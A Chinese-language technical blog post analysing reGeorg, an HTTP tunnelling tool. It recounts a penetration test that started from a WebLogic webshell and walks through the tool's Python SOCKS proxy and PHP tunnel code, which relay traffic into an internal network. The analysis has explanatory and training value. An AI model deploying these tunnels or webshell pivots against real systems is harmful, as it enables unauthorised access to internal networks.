reGeorg简单分析
适用场景
一般用在服务器已被getshell,想横向渗透但是因为ACL策略较为严格。只允许http协议进出。无法直接将端口转发
或者是内网主机通过端口映射到外网主机,并且内网主机无法访问外网。这时想进行内网渗透时,也可使用该工具代理进入内网,通过http协议传达请求
来自Screw师傅的分析文章(图片绘制的流程超级清楚,🐂🍺)
实战经历
一次渗透经历,通过weblogic CVE-2019-2728漏洞直接获取webshell后,遇到了一个内网环境
发现获取shell到的主机为内网映射端口到外网的主机,通过大马执行CMD命令发现是在内网中,且ping不通外网,这时候无法上线内网主机
这时候需要代理进内网,这里使用了reGeorg来打通http隧道,顺便学习了一波
首先上传tunnel.jsp,发现已经有人搞过了,直接用他传的jsp的tunnel吧
python2启动代理服务器脚本
pyton2 reGeorgSocksProxy.py -p 8888 -l 0.0.0.0 -u http://xx/tunnel.jsp
配置下proxifier
加一个SOCKS5代理服务器地址
这里我没有用全局,没有必要,就设置某些应用程序使用该代理,这里设置了下firefox,由于是客户的内网,之前已经连内网进入看了一下,记录了一个内网的地址的web页面,测试连接是否正常。设置了下Target Hosts为内网的C段地址,这样的话,就没有太多没用的请求影响我们的通道
之前发现的是一个admin/admin弱口令登录的ActiveMQ的中间件,版本是5.1的,应该存在反序列化漏洞,这都是昨天测试的。这里测试下通道是否正常
通道正常,直通内网,这里随便点一个链接,通过wireshark看一下发送的web请求。其实就算一个中转一样,通过将流量发送到web跳板机,流量的内容就是一个post,然后web跳板机上的tunnel.jsp将流量转发到内网后再返回数据
今天这个关站了,reGeorgSocksProxy如何传输到内网的原理我还不太理解。找了一个之前拿到shell的继续测试一下
内网IP:
这次可以ping通外网,这种情况就是可以直接上线到CS,然后常规内网渗透
这里存在内网,我就是想了解reGeorgSocksProxy传输的一个过程
首先是探测tunnel服务是否正常
然后我通过proxifier代理浏览器web请求
抓到的Http流,这里首先是建立一个connect
然后发送了一个read请求去读取内容
获取了相应内容
尝试任意发送一个get请求,然后抓包
对内网发起的请求对应的是Socks代理服务器发送到tunnel.jsp的get请求?Cmd=forward,然后POST内容就是我们的http请求包。forward后立马发送一个?Cmd=read的get请求去读取结果
首先看一下reGeorgSocksProxy.py,主要功能是在本地起一个socks代理服务器,然后通过http形式转发请求到隧道(主要是跟着Screw师傅的分析走的)
这里是起一个socks代理服务器,监听的地址和端口为命令行输入的-l 监听地址和-p 监听端口
READBUFSIZE = args.read_buff servSock = socket(AF_INET, SOCK_STREAM) servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) servSock.bind((args.listen_on, args.listen_port)) servSock.listen(1000) while True: try: sock, addr_info = servSock.accept() sock.settimeout(SOCKTIMEOUT) log.debug("Incomming connection") session(sock, args.url).start() except KeyboardInterrupt, ex: break except Exception, e: log.error(e) servSock.close()
然后跟随类重写thread的session类查看
判断代理服务器收到的流量是socks5还是socks4的流量,然后进入对应的解析流量的函数
def handleSocks(self, sock): # This is where we setup the socks connection ver = sock.recv(1) if ver == "\x05": return self.parseSocks5(sock) elif ver == "\x04": return self.parseSocks4(sock)
解析本地代理服务器获取到的数据获得目的IP和端口
def parseSocks5(self, sock): log.debug("SocksVersion5 detected") nmethods, methods = (sock.recv(1), sock.recv(1)) sock.sendall(VER + METHOD) ver = sock.recv(1) if ver == "\x02": # this is a hack for proxychains ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1)) else: cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1)) target = None targetPort = None if atyp == "\x01": # IPv4 # Reading 6 bytes for the IP and Port target = sock.recv(4) targetPort = sock.recv(2) target = "." .join([str(ord(i)) for i in target]) elif atyp == "\x03": # Hostname targetLen = ord(sock.recv(1)) # hostname length (1 byte) target = sock.recv(targetLen) targetPort = sock.recv(2) target = "".join([unichr(ord(i)) for i in target]) elif atyp == "\x04": # IPv6 target = sock.recv(16) targetPort = sock.recv(2) tmp_addr = [] for i in xrange(len(target) / 2): tmp_addr.append(unichr(ord(target[2 * i]) * 256 + ord(target[2 * i + 1]))) target = ":".join(tmp_addr) targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1]) if cmd == "\x02": # BIND raise SocksCmdNotImplemented("Socks5 - BIND not implemented") elif cmd == "\x03": # UDP raise SocksCmdNotImplemented("Socks5 - UDP not implemented") elif cmd == "\x01": # CONNECT serverIp = target try: serverIp = gethostbyname(target) except: log.error("oeps") serverIp = "".join([chr(int(i)) for i in serverIp.split(".")]) self.cookie = self.setupRemoteSession(target, targetPort) if self.cookie: sock.sendall(VER + SUCCESS + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) return True else: sock.sendall(VER + REFUSED + "\x00" + "\x01" + serverIp + chr(targetPort / 256) + chr(targetPort % 256)) raise RemoteConnectionFailed("[%s:%d] Remote failed" % (target, targetPort)) raise SocksCmdNotImplemented("Socks5 - Unknown CMD")
然后当客户端与代理服务器建立连接后,调用setupRemoteSession函数然后向tunnel发送一个connect请求
如果请求成功,会将生成的sessionID保存下来(很重要用来保存整个服务端和Target的Socket会话状态)
下面的reader和writer函数就不看了,就是调用线程,然后while true读取返回数据和发送请求内容的
def setupRemoteSession(self, target, port): headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port} self.target = target self.port = port cookie = None conn = self.httpScheme(host=self.httpHost, port=self.httpPort) # response = conn.request("POST", self.httpPath, params, headers) response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="") if response.status == 200: status = response.getheader("x-status") if status == "OK": cookie = response.getheader("set-cookie") log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie)) else: if response.getheader("X-ERROR") is not None: log.error(response.getheader("X-ERROR")) else: log.error("[%s:%d] HTTP [%d]: [%s]" % (self.target, self.port, response.status, response.getheader("X-ERROR"))) log.error("[%s:%d] RemoteError: %s" % (self.target, self.port, response.data)) conn.close() return cookie
下面对着php的socket tunnel来看,tunnel.php获取到ip和port,然后与目标建立一个socket连接(TCP协议类型)
当session存在生效时,while循环就一直挂着,当$_SESSION["writebuf"]不为空的时候,就将writebuf通过socket传入,然后只要获取内网机器传回来的数据后就存放到$readBuff中
if ($_SERVER['REQUEST_METHOD'] === 'POST') { set_time_limit(0); $headers=apache_request_headers(); $cmd = $headers["X-CMD"]; switch($cmd){ case "CONNECT": { $target = $headers["X-TARGET"]; $port = (int)$headers["X-PORT"]; $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($sock === false) { header('X-STATUS: FAIL'); header('X-ERROR: Failed creating socket'); return; } $res = @socket_connect($sock, $target, $port); if ($res === false) { header('X-STATUS: FAIL'); header('X-ERROR: Failed connecting to target'); return; } socket_set_nonblock($sock); @session_start(); $_SESSION["run"] = true; $_SESSION["writebuf"] = ""; $_SESSION["readbuf"] = ""; ob_end_clean(); header('X-STATUS: OK'); header("Connection: close"); ignore_user_abort(); ob_start(); $size = ob_get_length(); header("Content-Length: $size"); ob_end_flush(); flush(); session_write_close(); while ($_SESSION["run"]) { $readBuff = ""; @session_start(); $writeBuff = $_SESSION["writebuf"]; $_SESSION["writebuf"] = ""; session_write_close(); if ($writeBuff != "") { $i = socket_write($sock, $writeBuff, strlen($writeBuff)); if($i === false) { @session_start(); $_SESSION["run"] = false; session_write_close(); header('X-STATUS: FAIL'); header('X-ERROR: Failed writing socket'); } } while ($o = socket_read($sock, 512)) { if($o === false) { @session_start(); $_SESSION["run"] = false; session_write_close(); header('X-STATUS: FAIL'); header('X-ERROR: Failed reading from socket'); } $readBuff .= $o; } if ($readBuff!=""){ @session_start(); $_SESSION["readbuf"] .= $readBuff; session_write_close(); } #sleep(0.2); } socket_close($sock); } break;
建立完连接后,因为socks代理服务器脚本中是先进行read的线程启动,所以会先去read一次,然后再forward一次
发送forward请求后,tunnel脚本通过php://input获取本地代理脚本发来的post的数据,然后将浏览器对内网机器的http访问请求存入$_SESSION["writebuf"](即POST的内容)
case "FORWARD": { @session_start(); $running = $_SESSION["run"]; session_write_close(); if(!$running){ header('X-STATUS: FAIL'); header('X-ERROR: No more running, close now'); return; } header('Content-Type: application/octet-stream'); $rawPostData = file_get_contents("php://input"); if ($rawPostData) { @session_start(); $_SESSION["writebuf"] .= $rawPostData; session_write_close(); header('X-STATUS: OK'); header("Connection: Keep-Alive"); return; } else { header('X-STATUS: FAIL'); header('X-ERROR: POST request read filed'); } } break; }
上面就是通过tunnel获取到对内网机器的真实http请求,然后通过建立socket通道将请求转发给真正的目标机器
然后再来看下发送的read请求,tunnel收到read命令后,会将$_SESSION["readbuf"]存入$readBuffer变量中,然后只要约定的session会话还在,就会返回$readBuffer的内容
case "READ": { @session_start(); $readBuffer = $_SESSION["readbuf"]; $_SESSION["readbuf"]=""; $running = $_SESSION["run"]; session_write_close(); if ($running) { header('X-STATUS: OK'); header("Connection: Keep-Alive"); echo $readBuffer; return; } else { header('X-STATUS: FAIL'); header('X-ERROR: RemoteSocket read filed'); return; } } break;
上面的流程就是发送connect使tunnel与目标机器建立socket连接,当session会话存在时,通过循环判断是否有需要传递的内容,如果有,就会通过socket连接向目标机器发送请求内容,并且会不断从与目标机器建立的socket连接中获取数据,如果存在就写入readBuff变量中。接着发送forward请求,将真实的数据发送给tunnel,然后tunnel获取到post数据转发到socket连接中,发送给目标机器,然后将目标机器返回的数据存放到到$_SESSION["readbuf"]中,等待下一次read请求来获取该内容。基本流程就是这样
但是稍微遇到了一些问题,发现有时候流量挺大的,本地代理服务器在获取到数据后,然后会不停发送read请求
通过一句话木马直接写入的项目:
https://github.com/zsxsoft/reGeorg
LCTF 2018 中 zsx 师傅,将这款工具的 php 部分进行了修改,实现了只要远端有一个 一句话木马就能直接运行(实际上本质就是将这个代理脚本作为数据传到小马里面 eval,其他语言的部分其实可以根据自己所需进行修改如下图)
这是读取代理脚本到变量
这里是将变量作为参数传入一句话
参考文章:
http://screwsec.com/2020/06/05/reGeorg%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/#%E8%83%8C%E6%99%AF